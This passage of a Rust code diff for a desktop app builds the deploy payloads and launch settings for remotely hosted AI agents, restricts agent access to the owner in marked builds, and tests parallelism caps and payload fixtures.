ProviderAccessTarget { + agent_json: build_payload(&record), + pubkey: record.pubkey, + provider_id: id, + config, + cached_binary_path: record.provider_binary_path, + }, + BackendKind::Local => { + unreachable!("provider access reconciliation selected a local agent") + } + }) + .collect() +} + +/// Redeploy every existing provider agent in an owner-only access build. +/// +/// The saved `backend_agent_id` only proves that some provider deployment +/// exists. A marked build sends the current owner-only payload before each +/// community UI load. Workspace apply fails closed if any provider rejects it. +pub(crate) async fn reconcile_on_workspace_apply( + app: &AppHandle, + state: &AppState, +) -> Result<(), String> { + if !crate::managed_agents::owner_only_access_build() { + return Ok(()); + } + + let targets = { + let _store_guard = state + .managed_agents_store_lock + .lock() + .map_err(|error| error.to_string())?; + collect_targets_with(load_managed_agents(app)?, true, |record| { + super::build_deploy_payload(app, state, record) + }) + }; + + for target in targets { + let ProviderAccessTarget { + pubkey, + provider_id, + config, + cached_binary_path, + agent_json, + } = target; + let agent_json = match agent_json { + Ok(agent_json) => agent_json, + Err(error) => { + persist_failure(app, state, &pubkey, &error)?; + return Err(format!( + "provider access reconciliation failed for agent {pubkey}: {error}" + )); + } + }; + if let Err(error) = super::deploy_to_provider( + app, + state, + &pubkey, + &provider_id, + &config, + agent_json, + cached_binary_path.as_deref(), + ) + .await + { + return Err(format!( + "provider access reconciliation failed for agent {pubkey}: {error}" + )); + } + } + + Ok(()) +} + +fn persist_failure( + app: &AppHandle, + state: &AppState, + pubkey: &str, + error: &str, +) -> Result<(), String> { + let _store_guard = state + .managed_agents_store_lock + .lock() + .map_err(|lock_error| lock_error.to_string())?; + let mut records = load_managed_agents(app)?; + let record = find_managed_agent_mut(&mut records, pubkey)?; + record.last_error = Some(error.to_string()); + record.updated_at = now_iso(); + save_managed_agents(app, &records) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn record(backend: BackendKind, backend_agent_id: Option<&str>) -> ManagedAgentRecord { + let mut record: ManagedAgentRecord = serde_json::from_value(serde_json::json!({ + "pubkey": "agent", "name": "Agent", "relay_url": "", "acp_command": "", + "agent_command": "", "agent_args": [], "mcp_command": "", + "turn_timeout_seconds": 0, "system_prompt": null, "created_at": "", + "updated_at": "", "last_started_at": null, "last_stopped_at": null, + "last_exit_code": null, "last_error": null + })) + .unwrap(); + record.backend = backend; + record.backend_agent_id = backend_agent_id.map(str::to_string); + record + } + + #[test] + fn upgrade_collects_existing_provider_and_builds_projected_payload() { + let records = vec![ + record( + BackendKind::Provider { + id: "provider".into(), + config: serde_json::json!({"region": "test"}), + }, + Some("existing"), + ), + record( + BackendKind::Provider { + id: "not-deployed".into(), + config: serde_json::json!({}), + }, + None, + ), + record(BackendKind::Local, Some("stale")), + ]; + + let targets = collect_targets_with(records, true, |_| { + Ok(serde_json::json!({"respond_to": "owner-only"})) + }); + + assert_eq!(targets.len(), 1); + assert_eq!(targets[0].pubkey, "agent"); + assert_eq!(targets[0].provider_id, "provider"); + assert_eq!(targets[0].config["region"], "test"); + assert_eq!( + targets[0].agent_json.as_ref().unwrap()["respond_to"], + "owner-only" + ); + } + + #[test] + fn unmarked_build_collects_no_upgrade_targets() { + let records = vec![record( + BackendKind::Provider { + id: "provider".into(), + config: serde_json::json!({}), + }, + Some("existing"), + )]; + + assert!( + collect_targets_with(records, false, |_| { Ok(serde_json::Value::Null) }).is_empty() + ); + } +} diff --git a/desktop/src-tauri/src/commands/agents_deploy.rs b/desktop/src-tauri/src/commands/agents_deploy.rs index af785711d5..47ee5f92d4 100644 --- a/desktop/src-tauri/src/commands/agents_deploy.rs +++ b/desktop/src-tauri/src/commands/agents_deploy.rs @@ -1,6 +1,8 @@ //! Provider deploy payload construction, split from `agents.rs` (file-size -//! guard). `build_deploy_payload` gathers live state; `deploy_payload_json` -//! is the pure serialization half so payload completeness stays testable. +//! guard). The launch block is derived from the same effective descriptor and +//! policy helpers as local spawn so remote execution does not reimplement them. + +use std::collections::BTreeMap; use tauri::AppHandle; @@ -12,18 +14,21 @@ use crate::{ relay::relay_ws_url_with_override, }; +/// Effective projection fields for the deploy payload — all derived from the +/// resolved descriptor and effective config so that the serialised payload and +/// the `launch` block are always internally consistent. +pub(super) struct DeployProjections { + pub effective_model: Option, + pub effective_provider: Option, + pub effective_prompt: Option, + /// Effective parallelism derived from the same resolved `descriptor.command` + /// as `launch.policy_env["BUZZ_ACP_AGENTS"]`. + pub effective_parallelism: u32, + /// Access fields projected from the same build policy that gates local starts. + pub owner_only_access: bool, +} + /// Resolve the deploy-specific structured model/provider for a managed agent. -/// -/// Delegates to the single effective-config resolver which enforces -/// definition-authoritative semantics for linked instances: -/// - **Linked:** definition → global. Stale record bytes are never consulted. -/// - **Definition-less:** instance → global. -/// - **Orphaned:** returns `(None, None)` — spawn is blocked elsewhere. -/// -/// Both local spawn and deploy now use the same resolver, so they can never -/// disagree on what model/provider an agent runs with. -/// -/// Exported `pub(crate)` for unit testing. #[cfg(test)] pub(crate) fn resolve_deploy_model_provider( record: &ManagedAgentRecord, @@ -36,58 +41,125 @@ pub(crate) fn resolve_deploy_model_provider( .unwrap_or((None, None)) } -/// Build the standard agent JSON payload for provider deploy calls. +/// Serialize the portable launch contract shared with provider-backed agents. /// -/// Like local spawn, provider deploy re-reads live persona env vars and -/// structured model/provider so remote agents receive current credentials -/// and the same authoritative values that local spawn derives from -/// `runtime_metadata_env_vars`. The only field still pinned is -/// `agent_command`/`agent_args` — those were captured at create time. -/// The only read-time resolution is `relay_url`: a blank pin resolves to -/// the active workspace relay here, matching the create-path contract. -/// -/// Fails closed when the private key is unavailable (keyring outage leaves -/// it empty after hydration): without this guard a provider deploy would -/// serialize `"private_key_nsec": ""` and launch the agent with no -/// identity — the same hazard the local spawn path refuses via -/// `spawn_key_refusal`. +/// `descriptor.env` is the authoritative six-layer environment. Policy values +/// are deliberately separate because providers apply them below that layered +/// environment, preserving the local spawn's power-user override semantics. +pub(super) fn build_launch_block( + record: &ManagedAgentRecord, + descriptor: &crate::managed_agents::readiness::EffectiveHarnessDescriptor, + teams: &[crate::managed_agents::TeamRecord], + effective_prompt: Option<&str>, + effective_model: Option<&str>, + owner_pubkey: &str, +) -> serde_json::Value { + use crate::managed_agents::{ + known_acp_runtime, resolve_session_title, DISPLAY_NAME_ENV_VAR, SESSION_TITLE_ENV_VAR, + }; + + let runtime = known_acp_runtime(&descriptor.command); + let mut policy_env = BTreeMap::new(); + + if let Some(runtime) = runtime { + policy_env.extend( + runtime + .default_env + .iter() + .map(|(key, value)| ((*key).to_string(), (*value).to_string())), + ); + if runtime.mcp_hooks { + policy_env.insert("MCP_HOOK_SERVERS".into(), "*".into()); + } + } + policy_env.insert("BUZZ_ACP_RELAY_OBSERVER".into(), "true".into()); + policy_env.insert("BUZZ_ACP_LAZY_POOL".into(), "true".into()); + policy_env.insert( + "BUZZ_ACP_AGENTS".into(), + crate::managed_agents::acp_agents_value(&descriptor.command, record.parallelism), + ); + + if let Some(value) = effective_prompt { + policy_env.insert("BUZZ_ACP_SYSTEM_PROMPT".into(), value.to_string()); + } + if let Some(value) = effective_model { + policy_env.insert("BUZZ_ACP_MODEL".into(), value.to_string()); + } + if let Some(value) = record.idle_timeout_seconds { + policy_env.insert("BUZZ_ACP_IDLE_TIMEOUT".into(), value.to_string()); + } + if let Some(value) = record.max_turn_duration_seconds { + policy_env.insert("BUZZ_ACP_MAX_TURN_DURATION".into(), value.to_string()); + } + if let Some(value) = resolve_session_title(record.display_name.as_deref(), &record.name) { + policy_env.insert(SESSION_TITLE_ENV_VAR.into(), value.clone()); + policy_env.insert(DISPLAY_NAME_ENV_VAR.into(), value); + } + if let Some(value) = + crate::managed_agents::spawn_snapshot::effective_team_instructions(record, teams) + { + policy_env.insert("BUZZ_ACP_TEAM_INSTRUCTIONS".into(), value); + } + + serde_json::json!({ + "command": descriptor.command, + "args": descriptor.args, + "env": descriptor.env, + "policy_env": policy_env, + "owner_pubkey": owner_pubkey, + }) +} + +pub(super) fn ensure_remote_provider_supported(provider: Option<&str>) -> Result<(), String> { + if provider.map(str::trim) == Some(crate::managed_agents::RELAY_MESH_PROVIDER_ID) { + return Err( + "shared-compute agents cannot be deployed remotely because the mesh endpoint is local to the desktop" + .to_string(), + ); + } + Ok(()) +} + +/// Build the standard agent JSON payload for provider deploy calls. pub(super) fn build_deploy_payload( app: &AppHandle, state: &AppState, record: &ManagedAgentRecord, ) -> Result { - // Fails closed when the private key is unavailable — same guard as local - // spawn. Without this, a keyring outage would serialize `"private_key_nsec": ""` - // and launch the agent with no identity. if let Some(err) = crate::managed_agents::spawn_key_refusal(record) { return Err(err); } - // Merge global + persona + agent env_vars for provider deploy — the same - // live-persona-under-overrides semantics as local spawn. Global env vars - // are the lowest user-settable layer: global < persona < agent (last-wins - // on key collision). Without this, provider-backed agents wouldn't receive - // credentials saved on the persona or the agent itself. - let global_config = crate::managed_agents::load_global_agent_config(app).unwrap_or_default(); - let global_env = global_config.env_vars.clone(); - let persona_env = - crate::managed_agents::resolve_persona_env(app, record.persona_id.as_deref())?; - // Merge: global < persona (persona wins over global). - let global_persona_merged = crate::managed_agents::merged_user_env(&global_env, &persona_env); - // Merge: global+persona < agent (agent wins over everything). - let merged_env = - crate::managed_agents::merged_user_env(&global_persona_merged, &record.env_vars); - + let global = crate::managed_agents::load_global_agent_config(app).unwrap_or_default(); let personas = load_personas(app).unwrap_or_default(); - let cfg = crate::managed_agents::effective_config::resolve_effective_config( - record, - &personas, - &global_config, + let teams = crate::managed_agents::load_teams(app).unwrap_or_default(); + let persona_env = + crate::managed_agents::live_persona_env(&personas, record.persona_id.as_deref()); + let global_persona_env = crate::managed_agents::merged_user_env(&global.env_vars, &persona_env); + let merged_user_env = + crate::managed_agents::merged_user_env(&global_persona_env, &record.env_vars); + let effective = crate::managed_agents::effective_config::resolve_effective_config( + record, &personas, &global, ) .require_resolved()?; - let effective_model = cfg.model.value; - let effective_provider = cfg.provider.value; - let effective_prompt = cfg.system_prompt.value; + + ensure_remote_provider_supported(effective.provider.value.as_deref())?; + + let descriptor = + crate::managed_agents::resolve_effective_harness_descriptor(record, &personas, &global) + .map_err(|error| crate::managed_agents::user_facing_harness_error(&error))?; + let owner_pubkey = super::workspace_owner_hex(state)?; + let launch = build_launch_block( + record, + &descriptor, + &teams, + effective.system_prompt.value.as_deref(), + effective.model.value.as_deref(), + &owner_pubkey, + ); + + let effective_parallelism = + crate::managed_agents::effective_parallelism(&descriptor.command, record.parallelism); Ok(deploy_payload_json( record, @@ -95,24 +167,32 @@ pub(super) fn build_deploy_payload( &record.relay_url, &relay_ws_url_with_override(state), ), - effective_model, - effective_provider, - effective_prompt, - merged_env, + DeployProjections { + effective_model: effective.model.value, + effective_provider: effective.provider.value, + effective_prompt: effective.system_prompt.value, + effective_parallelism, + owner_only_access: crate::managed_agents::owner_only_access_build(), + }, + merged_user_env, + launch, )) } -/// Pure serialization half of [`build_deploy_payload`] — every field the -/// provider harness receives is deliberately listed here, so payload -/// completeness is testable without an `AppHandle`. +/// Pure serialization half of [`build_deploy_payload`]. Legacy top-level fields +/// remain for display/bookkeeping; providers execute the resolved `launch` block. +/// `projections.effective_parallelism` is pre-computed from the same resolved +/// descriptor as `launch.policy_env["BUZZ_ACP_AGENTS"]`. Access is projected from +/// the same compiled policy that gates local starts. pub(super) fn deploy_payload_json( record: &ManagedAgentRecord, relay_url: String, - effective_model: Option, - effective_provider: Option, - effective_prompt: Option, - merged_env: std::collections::BTreeMap, + projections: DeployProjections, + merged_env: BTreeMap, + launch: serde_json::Value, ) -> serde_json::Value { + let (respond_to, respond_to_allowlist) = + crate::managed_agents::projected_access_with_policy(record, projections.owner_only_access); serde_json::json!({ "name": &record.name, "relay_url": relay_url, @@ -120,15 +200,279 @@ pub(super) fn deploy_payload_json( "auth_tag": &record.auth_tag, "agent_command": &record.agent_command, "agent_args": &record.agent_args, - "system_prompt": effective_prompt, - "model": effective_model, - "provider": effective_provider, + "system_prompt": projections.effective_prompt, + "model": projections.effective_model, + "provider": projections.effective_provider, "turn_timeout_seconds": record.turn_timeout_seconds, "idle_timeout_seconds": record.idle_timeout_seconds, "max_turn_duration_seconds": record.max_turn_duration_seconds, - "parallelism": record.parallelism, - "respond_to": record.respond_to, - "respond_to_allowlist": &record.respond_to_allowlist, + // Legacy top-level field: projected from the same resolved descriptor as + // launch.policy_env["BUZZ_ACP_AGENTS"] — the two are always consistent. + "parallelism": projections.effective_parallelism, + "respond_to": respond_to, + "respond_to_allowlist": respond_to_allowlist, "env_vars": merged_env, + "launch": launch, }) } + +#[cfg(test)] +mod tests { + use super::*; + use crate::managed_agents::{readiness::EffectiveHarnessDescriptor, RespondTo, TeamRecord}; + + fn record() -> ManagedAgentRecord { + serde_json::from_value(serde_json::json!({ + "pubkey": "abcd1234", + "name": "agent-handle", + "display_name": "Agent\u{0000} Name", + "private_key_nsec": "nsec1fake", + "relay_url": "wss://relay.example", + "acp_command": "buzz-acp", + "agent_command": "goose", + "agent_args": [], + "mcp_command": "", + "turn_timeout_seconds": 320, + "idle_timeout_seconds": 17, + "max_turn_duration_seconds": 23, + "parallelism": 4, + "respond_to": RespondTo::OwnerOnly, + "respond_to_allowlist": [], + "team_id": "team-1", + "created_at": "2026-01-01T00:00:00Z", + "updated_at": "2026-01-01T00:00:00Z" + })) + .unwrap() + } + + #[test] + fn launch_block_preserves_descriptor_and_spawn_policy() { + let record = record(); + let descriptor = EffectiveHarnessDescriptor { + command: "goose".into(), + args: vec!["acp".into()], + env: BTreeMap::from([ + ("GOOSE_MODE".into(), "custom".into()), + ("SECRET_FROM_PERSONA".into(), "secret".into()), + ]), + }; + let teams: Vec = serde_json::from_value(serde_json::json!([{ + "id": "team-1", "name": "Team", "instructions": "Coordinate", "persona_ids": [], "created_at": "2026-01-01T00:00:00Z", "updated_at": "2026-01-01T00:00:00Z" + }])).unwrap(); + + let launch = build_launch_block( + &record, + &descriptor, + &teams, + Some("prompt"), + Some("model"), + "owner-hex", + ); + + assert_eq!(launch["command"], "goose"); + assert_eq!(launch["args"], serde_json::json!(["acp"])); + assert_eq!(launch["env"]["GOOSE_MODE"], "custom"); + // policy_env is applied first, so this default remains separate from + // the descriptor value that wins in launch.env. + assert_eq!(launch["policy_env"]["GOOSE_MODE"], "auto"); + assert_eq!(launch["policy_env"]["BUZZ_ACP_LAZY_POOL"], "true"); + assert_eq!(launch["policy_env"]["BUZZ_ACP_RELAY_OBSERVER"], "true"); + assert_eq!( + launch["policy_env"]["BUZZ_ACP_TEAM_INSTRUCTIONS"], + "Coordinate" + ); + assert_eq!(launch["policy_env"]["BUZZ_ACP_SESSION_TITLE"], "Agent Name"); + assert_eq!(launch["policy_env"]["BUZZ_ACP_DISPLAY_NAME"], "Agent Name"); + assert_eq!(launch["policy_env"]["BUZZ_ACP_SYSTEM_PROMPT"], "prompt"); + assert_eq!(launch["policy_env"]["BUZZ_ACP_MODEL"], "model"); + assert_eq!(launch["policy_env"]["BUZZ_ACP_IDLE_TIMEOUT"], "17"); + assert_eq!(launch["policy_env"]["BUZZ_ACP_MAX_TURN_DURATION"], "23"); + assert_eq!(launch["policy_env"]["BUZZ_ACP_AGENTS"], "4"); + assert_eq!(launch["owner_pubkey"], "owner-hex"); + } + + /// OpenClaw descriptor: `launch.policy_env["BUZZ_ACP_AGENTS"]` must be "5" + /// even when the record's requested parallelism is 10. This is the direct + /// `launch.policy_env` seam test — the executable contract for remote providers. + #[test] + fn launch_block_openclaw_over_cap_policy_env_is_capped() { + let mut record = record(); + record.agent_command = "openclaw".into(); + record.parallelism = 10; // above the OpenClaw spawn-time cap + let descriptor = EffectiveHarnessDescriptor { + command: "openclaw".into(), + args: vec![], + env: BTreeMap::new(), + }; + + let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex"); + + assert_eq!( + launch["policy_env"]["BUZZ_ACP_AGENTS"], + crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM.to_string(), + "launch.policy_env[BUZZ_ACP_AGENTS] must be capped at {} for OpenClaw, not 10", + crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM + ); + } + + /// Uncapped harness (goose): `launch.policy_env["BUZZ_ACP_AGENTS"]` passes + /// the requested value through unchanged. + #[test] + fn launch_block_goose_policy_env_is_not_capped() { + let mut record = record(); + record.parallelism = 8; + let descriptor = EffectiveHarnessDescriptor { + command: "goose".into(), + args: vec![], + env: BTreeMap::new(), + }; + + let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex"); + + assert_eq!( + launch["policy_env"]["BUZZ_ACP_AGENTS"], "8", + "goose: policy_env[BUZZ_ACP_AGENTS] must pass through requested value 8" + ); + } + + /// deploy_payload_json: legacy top-level `parallelism` is the effective value + /// derived from the descriptor, not `record.agent_command`. + /// + /// Stale-persona scenario: `record.agent_command` is "goose" (created before + /// the user switched the persona to OpenClaw), but the live descriptor resolves + /// OpenClaw. Both `launch.policy_env["BUZZ_ACP_AGENTS"]` and the legacy + /// top-level `parallelism` must be the effective OpenClaw value (5), not the + /// record's stale Goose identity (requested 10). + #[test] + fn deploy_payload_json_stale_goose_record_live_openclaw_descriptor_both_capped() { + let mut record = record(); + // Stale agent_command from record creation — persona has since switched to OpenClaw. + record.agent_command = "goose".into(); + record.parallelism = 10; + // Resolved descriptor reflects the live persona (OpenClaw). + let descriptor = EffectiveHarnessDescriptor { + command: "openclaw".into(), + args: vec![], + env: BTreeMap::new(), + }; + let cap = crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM; + + let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex"); + let effective_parallelism = + crate::managed_agents::effective_parallelism(&descriptor.command, record.parallelism); + let payload = deploy_payload_json( + &record, + "wss://relay.example".to_string(), + DeployProjections { + effective_model: None, + effective_provider: None, + effective_prompt: None, + effective_parallelism, + owner_only_access: false, + }, + BTreeMap::new(), + launch.clone(), + ); + + assert_eq!( + launch["policy_env"]["BUZZ_ACP_AGENTS"], + cap.to_string(), + "launch.policy_env[BUZZ_ACP_AGENTS] must be capped at {cap} for live OpenClaw descriptor" + ); + assert_eq!( + payload["parallelism"], cap, + "legacy top-level parallelism must match launch.policy_env — both must be {cap}" + ); + } + + /// Inverse stale-persona scenario: `record.agent_command` is "openclaw" + /// (created before the user switched the persona to Goose), but the live + /// descriptor resolves Goose. Both projections must be the uncapped requested + /// value (4), not the old OpenClaw cap. + #[test] + fn deploy_payload_json_stale_openclaw_record_live_goose_descriptor_both_uncapped() { + let mut record = record(); + // Stale agent_command from record creation — persona has since switched to Goose. + record.agent_command = "openclaw".into(); + record.parallelism = 4; + // Resolved descriptor reflects the live persona (Goose). + let descriptor = EffectiveHarnessDescriptor { + command: "goose".into(), + args: vec![], + env: BTreeMap::new(), + }; + + let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex"); + let effective_parallelism = + crate::managed_agents::effective_parallelism(&descriptor.command, record.parallelism); + let payload = deploy_payload_json( + &record, + "wss://relay.example".to_string(), + DeployProjections { + effective_model: None, + effective_provider: None, + effective_prompt: None, + effective_parallelism, + owner_only_access: false, + }, + BTreeMap::new(), + launch.clone(), + ); + + assert_eq!( + launch["policy_env"]["BUZZ_ACP_AGENTS"], + "4", + "launch.policy_env[BUZZ_ACP_AGENTS] must pass through requested 4 for live Goose descriptor" + ); + assert_eq!( + payload["parallelism"], 4, + "legacy top-level parallelism must match launch.policy_env — both must be 4 (uncapped)" + ); + } + + /// Explicit agent_command_override direction: record has an explicit override + /// pinning OpenClaw while the persona default is Goose. The override wins + /// via the descriptor — both projections must be capped at the OpenClaw limit. + #[test] + fn deploy_payload_json_explicit_openclaw_override_both_capped() { + let mut record = record(); + // Explicit override: user pinned OpenClaw on this agent. + record.agent_command_override = Some("openclaw".into()); + record.agent_command = "goose".into(); // persona default, overridden + record.parallelism = 10; + // Descriptor reflects the resolved override (OpenClaw wins). + let descriptor = EffectiveHarnessDescriptor { + command: "openclaw".into(), + args: vec![], + env: BTreeMap::new(), + }; + let cap = crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM; + + let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex"); + let effective_parallelism = + crate::managed_agents::effective_parallelism(&descriptor.command, record.parallelism); + let payload = deploy_payload_json( + &record, + "wss://relay.example".to_string(), + DeployProjections { + effective_model: None, + effective_provider: None, + effective_prompt: None, + effective_parallelism, + owner_only_access: false, + }, + BTreeMap::new(), + launch.clone(), + ); + + assert_eq!( + launch["policy_env"]["BUZZ_ACP_AGENTS"], + cap.to_string(), + "launch.policy_env[BUZZ_ACP_AGENTS] must be {cap} for explicit OpenClaw override" + ); + assert_eq!( + payload["parallelism"], cap, + "legacy top-level parallelism must match launch.policy_env — both must be {cap}" + ); + } +} diff --git a/desktop/src-tauri/src/commands/agents_tests.rs b/desktop/src-tauri/src/commands/agents_tests.rs index 03389d1d18..54a03e2bab 100644 --- a/desktop/src-tauri/src/commands/agents_tests.rs +++ b/desktop/src-tauri/src/commands/agents_tests.rs @@ -263,6 +263,19 @@ fn normalize_relay_mesh_trims_and_preserves_valid_config() { ); } +#[test] +fn deploy_refuses_resolved_relay_mesh_provider_with_padding() { + let record = bare_agent_record(Some("p1"), None, None); + let personas = vec![persona_record("p1", None, Some(" relay-mesh "))]; + let global = crate::managed_agents::GlobalAgentConfig::default(); + + let (_, provider) = resolve_deploy_model_provider(&record, &personas, &global); + let error = ensure_remote_provider_supported(provider.as_deref()) + .expect_err("resolved shared-compute provider must not deploy remotely"); + + assert!(error.contains("cannot be deployed remotely"), "{error}"); +} + #[test] fn created_avatar_prefers_explicit_input() { let resolved = resolve_created_avatar_url( @@ -398,50 +411,248 @@ fn legacy_avatar_empty_when_nothing_resolves() { // ── Provider deploy payload completeness ───────────────────────────────────── -/// Regression (PR #1667 review, Thufir): the provider deploy payload must -/// carry every behavioral field the local spawn path applies — a field -/// missing here silently strips it from provider-backed agents. +fn deploy_payload_for_policy( + record: &ManagedAgentRecord, + owner_only_access: bool, +) -> serde_json::Value { + deploy_payload_json( + record, + "wss://relay.example".to_string(), + DeployProjections { + effective_model: Some("gpt-x".to_string()), + effective_provider: Some("openai".to_string()), + effective_prompt: None, + effective_parallelism: record.parallelism, + owner_only_access, + }, + std::collections::BTreeMap::new(), + // Access projection is the subject here; the launch block is exercised + // by the shared provider fixture test below. + serde_json::Value::Null, + ) +} + +/// The shared provider fixture is the contract arbiter: it must be the exact +/// richest deploy request produced by the real desktop serializers. #[test] -fn deploy_payload_carries_the_full_behavioral_quad() { - let allow = "a".repeat(64); - let record: ManagedAgentRecord = serde_json::from_str(&format!( - r#"{{ - "pubkey": "abcd1234", - "name": "test-agent", - "private_key_nsec": "nsec1fake", - "relay_url": "wss://localhost:3000", - "acp_command": "buzz-acp", - "agent_command": "goose", - "agent_args": [], - "mcp_command": "", - "turn_timeout_seconds": 320, - "system_prompt": null, - "parallelism": 4, - "respond_to": "allowlist", - "respond_to_allowlist": ["{allow}"], - "created_at": "2026-01-01T00:00:00Z", - "updated_at": "2026-01-01T00:00:00Z", - "last_started_at": null, - "last_stopped_at": null, - "last_exit_code": null, - "last_error": null - }}"# - )) - .expect("sample record"); +fn deploy_payload_matches_the_shared_full_launch_fixture() { + let fixture_path = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join( + "../../crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-full-launch.request.json", + ); + let fixture: serde_json::Value = serde_json::from_str( + &std::fs::read_to_string(&fixture_path) + .unwrap_or_else(|error| panic!("read {}: {error}", fixture_path.display())), + ) + .expect("parse shared provider fixture"); + let record: ManagedAgentRecord = serde_json::from_value(serde_json::json!({ + "pubkey": "abcd1234", + "name": "worker", + "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5", + "relay_url": "wss://localhost:3000", + "auth_tag": "tag-1", + "acp_command": "buzz-acp", + "agent_command": "goose", + "runtime": "goose", + "model": "gpt-5", + "provider": "openai", + "env_vars": {"USER_KEY": "user-value"}, + "agent_args": [], + "mcp_command": "", + "turn_timeout_seconds": 300, + "system_prompt": null, + "idle_timeout_seconds": null, + "max_turn_duration_seconds": null, + "parallelism": 10, + "respond_to": "allowlist", + "respond_to_allowlist": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"], + "created_at": "2026-01-01T00:00:00Z", + "updated_at": "2026-01-01T00:00:00Z" + })) + .expect("fixture source record"); + let descriptor = crate::managed_agents::resolve_effective_harness_descriptor( + &record, + &[], + &crate::managed_agents::GlobalAgentConfig::default(), + ) + .expect("resolve fixture source record descriptor"); + let launch = super::deploy::build_launch_block( + &record, + &descriptor, + &[], + None, + Some("gpt-5"), + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + ); + let agent = deploy_payload_json( + &record, + "wss://relay.example".into(), + DeployProjections { + effective_model: Some("gpt-5".into()), + effective_provider: Some("openai".into()), + effective_prompt: None, + effective_parallelism: crate::managed_agents::effective_parallelism( + &descriptor.command, + record.parallelism, + ), + // Fixture asserts the record's own access fields survive. + owner_only_access: false, + }, + std::collections::BTreeMap::from([("USER_KEY".into(), "user-value".into())]), + launch, + ); + + assert_eq!( + agent, fixture["agent"], + "desktop payload drifted from the shared provider fixture" + ); +} + +#[test] +fn tauri_platform_configs_bundle_kubernetes_only_on_supported_hosts() { + use tauri_utils::{config::parse::read_from, platform::Target}; + + let config_root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")); + for (target, expected) in [ + (Target::MacOS, true), + (Target::Linux, true), + (Target::Windows, false), + ] { + let (config, paths) = read_from(target, config_root).expect("read Tauri config"); + let external_bins = config["bundle"]["externalBin"] + .as_array() + .expect("bundle.externalBin array"); + let has_kubernetes = external_bins + .iter() + .any(|value| value == "binaries/buzz-backend-kubernetes"); + assert_eq!( + has_kubernetes, expected, + "unexpected Kubernetes externalBin for {target}; merged {paths:?}" + ); + } +} + +#[test] +fn current_build_deploy_payload_forwards_compiled_policy() { + use crate::managed_agents::{BackendKind, RespondTo}; + + let expected_owner_only = match std::env::var("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY") { + Ok(value) => value + .parse::() + .expect("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be true or false"), + Err(std::env::VarError::NotPresent) + if !crate::managed_agents::owner_only_access_build() => + { + false + } + Err(std::env::VarError::NotPresent) => { + panic!( + "BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be set for owner-only-access-build tests" + ) + } + Err(std::env::VarError::NotUnicode(_)) => { + panic!("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be valid UTF-8") + } + }; + let mut record = bare_agent_record(None, None, None); + record.backend = BackendKind::Provider { + id: "provider".to_string(), + config: serde_json::json!({}), + }; + record.respond_to = RespondTo::Anyone; + record.respond_to_allowlist = vec!["a".repeat(64)]; let payload = deploy_payload_json( &record, "wss://relay.example".to_string(), - Some("gpt-x".to_string()), - Some("openai".to_string()), - None, + DeployProjections { + effective_model: None, + effective_provider: None, + effective_prompt: None, + effective_parallelism: record.parallelism, + owner_only_access: crate::managed_agents::owner_only_access_build(), + }, std::collections::BTreeMap::new(), + // The compiled access policy is the subject here; the launch block is + // exercised by the shared provider fixture test above. + serde_json::Value::Null, + ); + let expected_mode = if expected_owner_only { + "owner-only" + } else { + "anyone" + }; + + assert_eq!( + payload["respond_to"], expected_mode, + "current-build deploy payload did not forward the compiled policy", ); + let expected_allowlist = if expected_owner_only { + serde_json::json!([]) + } else { + serde_json::json!(["a".repeat(64)]) + }; + assert_eq!( + payload["respond_to_allowlist"], expected_allowlist, + "current-build deploy payload did not apply the compiled policy to the stale allowlist", + ); +} + +#[test] +fn provider_upgrade_reconciliation_targets_existing_deployments_only_in_marked_builds() { + use crate::managed_agents::BackendKind; + + let mut record = bare_agent_record(None, None, None); + record.backend = BackendKind::Provider { + id: "provider".to_string(), + config: serde_json::json!({}), + }; + record.backend_agent_id = Some("existing-provider-agent".to_string()); + record.respond_to = crate::managed_agents::RespondTo::Anyone; + record.respond_to_allowlist = vec!["a".repeat(64)]; + + assert!(provider_access::needs_reconciliation_with_policy( + &record, true + )); + let payload = deploy_payload_for_policy(&record, true); + assert_eq!(payload["respond_to"], "owner-only"); + assert_eq!(payload["respond_to_allowlist"], serde_json::json!([])); + assert!(!provider_access::needs_reconciliation_with_policy( + &record, false + )); - assert_eq!(payload["parallelism"], 4); - assert_eq!(payload["respond_to"], "allowlist"); - assert_eq!(payload["respond_to_allowlist"][0], "a".repeat(64)); - assert_eq!(payload["model"], "gpt-x"); - assert_eq!(payload["provider"], "openai"); - assert_eq!(payload["relay_url"], "wss://relay.example"); + record.backend_agent_id = None; + assert!(!provider_access::needs_reconciliation_with_policy( + &record, true + )); + + record.backend = BackendKind::Local; + record.backend_agent_id = Some("stale-provider-id".to_string()); + assert!(!provider_access::needs_reconciliation_with_policy( + &record, true + )); +} + +#[test] +fn owner_only_access_deploy_payload_clamps_stale_access() { + use crate::managed_agents::{BackendKind, RespondTo}; + + let mut record = bare_agent_record(None, None, None); + record.backend = BackendKind::Provider { + id: "provider".to_string(), + config: serde_json::json!({}), + }; + record.respond_to = RespondTo::Anyone; + record.respond_to_allowlist = vec!["a".repeat(64)]; + + let payload = deploy_payload_for_policy(&record, true); + + assert_eq!( + payload["respond_to"], "owner-only", + "owner-only-access deploy payload widened stale access" + ); + assert_eq!( + payload["respond_to_allowlist"], + 